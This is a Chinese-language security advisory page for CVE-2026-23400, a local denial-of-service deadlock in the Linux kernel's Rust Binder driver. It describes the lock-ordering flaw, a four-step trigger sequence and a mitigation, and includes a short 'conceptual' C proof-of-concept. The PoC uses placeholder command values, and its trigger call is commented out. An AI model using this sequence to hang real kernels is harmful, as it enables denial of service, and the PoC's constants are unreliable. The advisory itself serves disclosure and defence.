IPBUF安全漏洞报告
English
CVE-2026-23400 CVSS 5.5 中危

CVE-2026-23400: Linux内核Rust Binder死锁漏洞

披露日期: 2026-03-29
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-23400
漏洞类型
拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

拒绝服务死锁Linux内核RustBinder

漏洞概述

Linux内核中的rust_binder组件存在一个死锁漏洞。当远程进程死亡并发送BR_DEAD_BINDER消息,本地进程在非looper线程调用BC_CLEAR_DEATH_NOTIFICATION后紧接着调用BC_DEAD_BINDER_DONE时,内核在持有proc锁的情况下尝试通过工作队列投递回复,需再次获取proc锁,从而引发死锁。

技术细节

该漏洞源于rust_binder驱动中锁的持有顺序不当。函数dead_binder_done()在执行set_notification_done()时仍持有proc锁。若当前线程不是looper,push_work_if_looper()会试图将回复投递到进程工作队列,这涉及再次获取proc锁。这种重入获取导致死锁(AB-BA模式),使得内核线程挂起,从而导致拒绝服务。虽然Android标准环境通常规避此场景,但在特定内核配置下仍可被触发。

攻击链分析

STEP 1
步骤1
远程进程死亡,向本地进程发送BR_DEAD_BINDER消息。
STEP 2
步骤2
本地进程在一个非looper线程上调用BC_CLEAR_DEATH_NOTIFICATION命令。
STEP 3
步骤3
本地进程紧接着在同一非looper线程调用BC_DEAD_BINDER_DONE命令。
STEP 4
步骤4
内核在处理命令时持有proc锁,尝试回复时需再次获取proc锁,导致死锁和拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-23400: Rust Binder Deadlock * This is a conceptual reproduction of the deadlock sequence. * Requires a kernel with rust_binder enabled. */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/ioctl.h> #define BINDER_WRITE_READ _IOWR('b', 1, struct binder_write_read) // Simplified definitions for binder commands #define BC_DEAD_BINDER_DONE 0x10 #define BC_CLEAR_DEATH_NOTIFICATION 0x11 void trigger_deadlock(int fd) { // This sequence must be executed on a thread that is NOT a looper // to trigger the deadlock logic described in the CVE. struct { uint32_t cmd; void *ptr; } data; // Step 1: Assume BR_DEAD_BINDER was received previously // Step 2: Invoke BC_CLEAR_DEATH_NOTIFICATION data.cmd = BC_CLEAR_DEATH_NOTIFICATION; data.ptr = (void *)0xdeadbeef; // Mock pointer ioctl(fd, BINDER_WRITE_READ, &data); // Step 3: Invoke BC_DEAD_BINDER_DONE // This triggers the path where dead_binder_done holds proc lock // and tries to push work to the process queue (needs proc lock again). data.cmd = BC_DEAD_BINDER_DONE; data.ptr = (void *)0xdeadbeef; ioctl(fd, BINDER_WRITE_READ, &data); } int main() { // Implementation to open /dev/binder and setup context is omitted // for brevity, as this focuses on the specific command sequence. printf("Attempting to trigger CVE-2026-23400 deadlock...\n"); // trigger_deadlock(binder_fd); return 0; }

影响范围

Linux Kernel (包含rust_binder组件的版本)

防御指南

临时缓解措施
确保Binder交互操作在标准的looper线程上下文中执行,避免在非looper线程上处理死亡通知相关的命令。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表